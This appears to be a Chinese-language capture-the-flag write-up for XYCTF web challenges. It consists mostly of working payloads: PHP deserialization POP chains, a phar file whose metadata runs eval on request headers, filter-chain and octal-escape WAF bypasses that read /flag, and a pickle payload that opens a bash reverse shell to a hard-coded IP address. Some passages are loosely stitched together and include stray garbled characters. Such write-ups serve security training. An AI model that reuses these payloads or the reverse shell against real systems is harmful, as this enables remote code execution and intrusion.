<code><?php

class Flag { -- -->

public $token;

public $password;

}

$a = new Flag();

$a->password = 1;

$a->password = &$a->token;

echo serialize($a);

第二层

<?php

class A {

public $mack;

}

class B {

public $luo;

}

class C {

public $wang1;

}

class D {

public $lao;

public $chen;

}

class E {

public $name = "xxxxx";

public $num;

}

$e = new E;

$e->name = new D;

$e->name->lao = new B;

$e->name->lao->luo = new A;

$e->name->lao->luo->mack = new C;

echo serialize($e);

第三层

<?php

// flag.php

class XYCTFNO1

{

public $Liu;

public $T1ng;

private $upsw1ng;

}

class XYCTFNO2

{

public $crypto0;

public $adwa;

}

class XYCTFNO3

{

public $KickyMu;

public $fpclose;

public $N1ght = "Crypto0";

}

$x1 = new XYCTFNO3;

$x1->KickyMu = new XYCTFNO2;

$x1->KickyMu->adwa->crypto0 = "dev1l";

$x1->KickyMu->adwa->T1ng = "yuroandCMD258";

$x1->N1ght = "oSthing";

echo serialize($x1);

pharme

<?php

class evil{

public $cmd;

public $a;

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new evil();

$o->cmd= "eval(end(getallheaders()));__halt_compiler();";

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

然后绕过__HALT_COMPILER();

import gzip

from hashlib import sha1

with open('phar.phar', 'rb') as file:

f = file.read()

s = f[:-28] # 获取要签名的数据

h = f[-8:] # 获取签名类型以及GBMB标识

newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

#print(newf)

newf = gzip.compress(newf) #对Phar文件进行gzip压缩

with open('newquanqi.png', 'wb') as file:#更改文件后缀

file.write(newf)

连连看到底是连连什么看

<?php

highlight_file(__FILE__);

error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))

{

die("waf!");

}

$payload="php://filter/$p/resource=/etc/passwd";code>

if(file_get_contents($payload)==="XYCTF"){ -- -->

echo file_get_contents('/flag');

}

php_filter_chain这个工具直接生成

python3 php_filter_chain_generator.py --chain 'XYCTF<'

然后复制下payload之后，使用string.strip.tag过滤器绕过

为什么可以绕过，这是因为

string.strip_tags	等同于strip_tags()，去除html、PHP语言标签

<code><?php

highlight_file(__FILE__);

function waf($cmd){ -- -->

$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];

$cmd_char = str_split($cmd);

foreach($cmd_char as $char){

if (!in_array($char, $white_list)){

die("really ez?");

}

}

return $cmd;

}

$cmd=waf($_GET["cmd"]);

system($cmd);

只能有数字，并且是system直接执行

可以使用八进制进行绕过，但要注意八进制不能加参数

$'\154\163' ls

$'\143\141\164'<$'\57\146\154\141\147' cat /flag

ezClass

<?php

highlight_file(__FILE__);

$a=$_GET['a'];

$aa=$_GET['aa'];

$b=$_GET['b'];

$bb=$_GET['bb'];

$c=$_GET['c'];

((new $a($aa))->$c())((new $b($bb))->$c());

意思也就是，让我们使用两个原生类，将第一个原生类的结果丢给后面的原生类进行处理

太麻烦了，一个原生类就够了

a=SplFileObject&aa=/flag&c=fgets

这个方法读取文件内容有限，只能显示第一个行，但是读取flag文件足矣了

login

import pickle

import base64

# class pay(object):

# def __reduce__(self):

# return (eval,("print(123)",))

# a = pickle.dumps(pay())

# a = base64.b64encode(a)

c = b'''(cos

system

S'bash -c "bash -i >& /dev/tcp/60.204.170.160/8989 0>&1"'

o.'''

# print(pickle.dumps(c))

# print(a)

print(base64.b64encode(c))

εZ?¿м@Kε¿?

hint.php内容

/^[$|\(|\)|\@|\[|\]|\{ |\}|\< | \>|\-]+$/

我们只能输入这个正则里面的符号，通过对makefile的理解

这题是借用makefile的自动变量可以读取到flag的内容

https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html

得到如下的payload

$$(<$<)

give me flag

hash长度扩展攻击

<code><?php

include('flag.php');

$FLAG_md5 = md5($FLAG);

if(!isset($_GET['md5']) || !isset($_GET['value']))

{ -- -->

highlight_file(__FILE__);

die($FLAG_md5);

}

$value = $_GET['value'];

$md5 = $_GET['md5'];

$time = time();

if(md5($FLAG.$value.$time)===$md5)

{

echo "yes, give you flag: ";

echo $FLAG;

}

f6ab6309f305e0f1b61cbec905c4c01f

拿已知的md5值，加上预定的时间戳

https://tool.lu/timestamp/

然后抓包bp，value填入长度为43的明文，再传入新的md5

这题多少有点圣经，很容易跑崩，懒得复现了